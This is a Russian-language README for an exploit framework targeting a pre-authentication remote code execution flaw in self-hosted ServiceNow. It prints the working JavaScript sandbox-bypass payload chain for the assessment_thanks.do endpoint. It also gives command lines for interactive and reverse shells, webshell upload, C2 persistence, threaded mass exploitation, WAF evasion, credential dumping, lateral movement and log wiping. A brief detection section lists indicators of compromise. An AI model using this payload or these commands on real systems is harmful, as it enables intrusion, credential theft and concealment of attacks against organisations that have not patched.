
CVE-2026-6875 ServiceNow Pre-Auth RCE Framework 🔥 JS-инъекция → обход песочницы → RCE → root. Функции: --detect, --exec, обратный/интерактивный шелл, многопоточный пакетный режим, обход WAF, закрепление, горизонтальное перемещение, дамп учётных данных, бесфайловое выполнение, очистка следов. 🛡️ CVSS 9.5, активно эксплуатируется. Только авторизованное и легальное использование. Оставайтесь в рамках закона. 🔒

Эксплойт-фреймворк и безопасный верификатор
Только для авторизованного тестирования безопасности.
Этот инструмент предоставляется исключительно в образовательных целях и для авторизованного тестирования на проникновение.
Авторы и участники не несут ответственности за любое неправомерное использование или ущерб, причинённый данным программным обеспечением. Пользователи несут единоличную ответственность за получение явного письменного разрешения от владельца цели перед тестированием. Несанкционированный доступ к компьютерным системам является незаконным согласно Закону о компьютерном мошенничестве и злоупотреблениях (CFAA) и аналогичным законам по всему миру.
Используя данное программное обеспечение, вы соглашаетесь:
⚠️ ПРЕДУПРЕЖДЕНИЕ: Эта уязвимость активно эксплуатируется в дикой природе. Несанкционированное использование может привести к серьёзным правовым последствиям.
CVE-2026-6875 — это критическая уязвимость неаутентифицированного удалённого выполнения кода (RCE) в платформе ServiceNow AI (ранее Now Platform). Она позволяет злоумышленникам обойти песочницу сценариев и выполнять произвольные системные команды с привилегиями приложения ServiceNow.
Внедрение JavaScript: конечная точка assessment_thanks.do принимает параметр sysparm_assessable_type. Добавляя к значению префикс javascript:, злоумышленник внедряет произвольный JavaScript-код.
Обход песочницы: изощрённый гаджет обхода песочницы (объединяющий DiscoveryFunctions.getCacheObjectForTable, AbstractAjaxProcessor и Class.create) снимает ограничения JavaScript-песочницы.
Удалённое выполнение кода: внедрённый Java-код (через java.lang.Runtime.exec()) выполняется с привилегиями приложения ServiceNow, что обеспечивает полную компрометацию системы.
Повышение привилегий: модули постэксплуатации пытаются повысить привилегии до root через неправильные конфигурации sudo, SUID-бинарии, доступные для записи задания cron или эксплойты ядра.
exploit.py)Полнофункциональный боевой эксплойт объединяет внедрение JavaScript и обход песочницы для достижения удалённого выполнения кода, с расширенными модулями постэксплуатации для закрепления, горизонтального перемещения и извлечения учётных данных.
verifier.py)Безопасный верификатор выполняет ненавязчивое обнаружение уязвимости без выполнения вредоносных полезных нагрузок и без внесения изменений в систему.
pip (для библиотеки requests)pip install requests urllib3
[!NOTE]
exploit.pyиспользует только стандартную библиотеку для основной функциональности;requestsтребуется лишь для функции--detect,--webhook-уведомлений и безопасного верификатора.
verifier.py)# Single target verification
python verifier.py -u 192.168.1.100
# Custom port and path
python verifier.py -u 10.0.0.5 -p 8443 --path /snow
# Mass scan from file
python verifier.py -l targets.txt -o results.json
# Quiet mode (only vulnerable targets)
python verifier.py -u 192.168.1.100 -q
# Increase timeout for slow targets
python verifier.py -u servicenow.example.com --timeout 60
# Custom User-Agent
python verifier.py -u 192.168.1.100 --user-agent "MyScanner/1.0"
# Interactive shell on target
python exploit.py -u 192.168.1.100
# Execute a single command
python exploit.py -u 192.168.1.100 --exec "id && whoami"
# Read a file
python exploit.py -u 192.168.1.100 --read-file /etc/passwd
# Enable detection before exploitation
python exploit.py -u 192.168.1.100 --detect
# Attempt root privilege escalation
python exploit.py -u 192.168.1.100 --privesc
# Upload a webshell
python exploit.py -u 192.168.1.100 --upload shell.jsp
# Install persistence with C2
python exploit.py -u 192.168.1.100 --persistence --c2-host 10.0.0.5 --c2-port 4444
# Clean tracks after exploit
python exploit.py -u 192.168.1.100 --clean
# Use fileless (memory) payload
python exploit.py -u 192.168.1.100 --fileless --c2-host 10.0.0.5 --c2-port 4444
# Mass exploit from file (50 threads)
python exploit.py -l targets.txt -m 50 --exec "uname -a"
# Custom callback server port
python exploit.py -u 192.168.1.100 --callback-port 9090
# Enable WAF bypass techniques
python exploit.py -u 192.168.1.100 --waf-bypass
# Send notifications via webhook
python exploit.py -u 192.168.1.100 --webhook https://myhook.com/snow
# Pipe mode (read command from stdin)
echo "cat /etc/hosts" | python exploit.py -u 192.168.1.100
# Custom port and path
python exploit.py -u 10.0.0.5 -p 8443 --path /snow
# Disable TLS verification (for self-signed certs)
python exploit.py -u 192.168.1.100 --insecure-tls
# Custom timeout and retries
python exploit.py -u 192.168.1.100 -t 60 -r 5 -d 2.0
⚠️ Важно: облачные экземпляры ServiceNow автоматически получают исправления. Эта уязвимость в первую очередь затрагивает самостоятельно размещаемые развёртывания.
Уязвимость находится в конечной точке assessment_thanks.do, которая принимает параметр sysparm_assessable_type. При передаче значения, начинающегося с javascript:, платформа выполняет последующий JavaScript в контексте системы.
Уязвимая конечная точка:
POST /assessment_thanks.do sysparm_assessable_type=javascript:gs.print('test')
Внедрённый код изначально ограничен песочницей. Однако, эксплуатируя следующую цепочку:
javascript:
var s="<payload>";
DiscoveryFunctions.getCacheObjectForTable=Object;
var a={};a.get=Object;
var b=new AbstractAjaxProcessor();
b.initialize=DiscoveryFunctions.getFirstValueFromTable(
a,"",DiscoveryFunctions.getFirstValueFromTable(
a,"",DiscoveryFunctions.getFirstValueFromTable(
a,"",global,"WorkflowIconsSCR",""),"prototype",""),"initialize","");
b.a=Class.create();b.a(s);
Песочница обходится, предоставляя полный доступ к Java-классам, таким как java.lang.Runtime.
Ищет пароли, API-ключи и секреты в файлах .properties, .xml, .conf:
/opt/ServiceNow/conf/*.xml/var/log/ServiceNow/*.log/etc/passwd, /etc/shadowУстанавливает бэкдоры через:
*/5 * * * *), службы systemd, SSH-ключиschtasks), ключи автозапуска в реестреСканирует локальную подсеть на предмет других экземпляров ServiceNow или SSH-хостов, повторно использует обнаруженные учётные данные.
Компилирует Java-класс на лету, загружает его через ClassLoader и выполняет в памяти (без записи на диск).
{/*comment*/})\u0077 для w)ne\u0077 для new)Проверьте журналы ServiceNow на наличие:
extraweb_access.log — запросы к /assessment_thanks.do с sysparm_assessable_type, содержащим:
javascript:DiscoveryFunctions.getCacheObjectForTableAbstractAjaxProcessor/var/tmp/ (например, shell.jsp, .sh-сценарии)/etc/passwd, /etc/shadow или ~/.ssh/authorized_keyscrontab -l)/etc/systemd/system/)/bin/bash -i, nc, curl, wget, python -c)[+] CVE-2026-15409/15410 - SonicWall SMA1000 Multi-Exploit Framework
https://github.com/tc4dy/CVE-2026-15409-15410-Framework
[+] CVE-2026-41091 - SolarFlare (RedSun) Microsoft Defender LPE
https://github.com/tc4dy/CVE-2026-41091-PoC-Exploit
[+] CVE-2026-57821 - Apache Fineract SQL Injection Toolkit
https://github.com/tc4dy/CVE-2026-57821-PoC-Exploit
[+] CVE-2026-41940 - cPanel/WHM Authentication Bypass
https://github.com/tc4dy/CVE-2026-41940-PoC-Exploit
| Атрибут | Значение |
|---|
| 📅 Обнаружена | 1 апреля 2026 года (Searchlight Cyber) |
| ⚠️ Оценка CVSS | 9.5 (КРИТИЧЕСКАЯ) |
| 📋 CISA KEV | Добавлена 13 июля 2026 года |
| 🎯 Затронутые продукты | Самостоятельно размещаемая платформа ServiceNow AI |
| 🔄 Исправленные версии | Brazil EA/GA, Australia Patch 2, Zurich Patch 7b/9, Yokohama Patch 12 Hot Fix 1b/13 |
| 🔓 Аутентификация | Не требуется (Pre-Auth) |
| 🌍 Активная эксплуатация | Подтверждена в дикой природе (июль 2026 года) |
| Возможность | Описание |
|---|
| 🚀 Внедрение JavaScript | Внедряет полезную нагрузку через параметр sysparm_assessable_type. |
| 💻 Обход песочницы | Обходит песочницу сценариев ServiceNow для запуска произвольного Java-кода. |
| 🔐 Интерактивная оболочка | Запуск живой оболочки с поддержкой множества команд. |
| 👑 Повышение привилегий до root | Проверяет неправильные конфигурации sudo, SUID-бинарии и задания cron. |
| 📁 Операции с файлами | Загрузка веб-шеллов, чтение/скачивание файлов через base64-кодирование. |
| 🌐 Пакетное сканирование | Массовая эксплуатация нескольких целей с использованием потоков (флаг -l). |
| 🎯 Безопасное обнаружение | Опциональный флаг --detect для ненавязчивой проверки уязвимости. |
| ⚙️ Обход WAF | Встроенные методы обфускации для обхода WAF/IDS (6 методов). |
| 🧩 Закрепление | Устанавливает бэкдоры cron/systemd/schtasks. |
| 🔍 Горизонтальное перемещение | Сканирует локальную сеть на предмет других уязвимых хостов и пытается распространяться через SSH/SSRF. |
| 🧹 Очистка следов | Удаляет журналы, историю bash и журналы аудита. |
| 💾 Безфайловое выполнение | Использует Java ClassLoader для запуска резидентных в памяти полезных нагрузок без записи на диск. |
| 🔌 Callback-сервер | Встроенный HTTP-сервер для получения вывода команд (опционально). |
| 📢 Webhook-уведомления | Отправляет результаты на произвольный URL (Slack, Discord и т.д.). |
| 🪟 Кроссплатформенность | Поддерживает цели Linux и Windows (cmd.exe / PowerShell). |
| 🔒 Потокобезопасность | Использует механизмы блокировки для конкурентных операций. |
| 📊 Определение версии | Определяет версию ServiceNow (Zurich/Brazil/Australia/Yokohama). |
| Команда | Описание |
|---|
exec <cmd> | Выполнить системную команду |
upload <local> [remote] | Загрузить веб-шелл на цель |
download <remote> | Скачать и отобразить содержимое файла |
privesc | Попытка повышения привилегий |
reverse <host> <port> | Отправить обратную оболочку (reverse shell) |
dumpcred | Извлечь учётные данные из конфигураций ServiceNow |
persist <host> <port> | Установить закрепление (cron/systemd/schtasks) |
lateral | Попытка горизонтального перемещения |
clean | Очистить следы (журналы, историю) |
memory <host> <port> | Выполнить безфайловую Java-полезную нагрузку |
exit | Выйти из интерактивной оболочки |
| Возможность | Описание |
|---|
| 🔍 Обнаружение ServiceNow | Определяет экземпляры ServiceNow через несколько конечных точек. |
| 📊 Определение версии | Определяет конкретные релизы ServiceNow и уровни патчей. |
| 🧪 Тест на внедрение JavaScript | Проверяет уязвимость внедрения с помощью безопасных полезных нагрузок gs.print(). |
| 🔒 Тест на обход песочницы | Проверяет обход песочницы без разрушительных команд. |
| 📈 Оценка уверенности | Предоставляет процент уверенности (85–95 %) на основе доказательств. |
| 📋 Вывод в JSON | Экспорт результатов в формат JSON для отчётности. |
| 🔄 Массовое сканирование | Сканирование нескольких целей с поддержкой потоков. |
| 🎯 Ненавязчивость | Выполняет только безвредную команду uname -a для получения информации о системе. |
| Релиз ServiceNow | Уязвимые версии | Исправленные версии |
|---|
| Brazil | EA, GA | Исправлено (после GA) |
| Australia | До Patch 2 | Patch 2+ |
| Zurich | До Patch 7b, Patch 9 | Patch 7b, Patch 9+ |
| Yokohama | До Patch 12 Hot Fix 1b | Patch 12 Hot Fix 1b, Patch 13 |
| Другие релизы | Неизвестно | См. официальный бюллетень |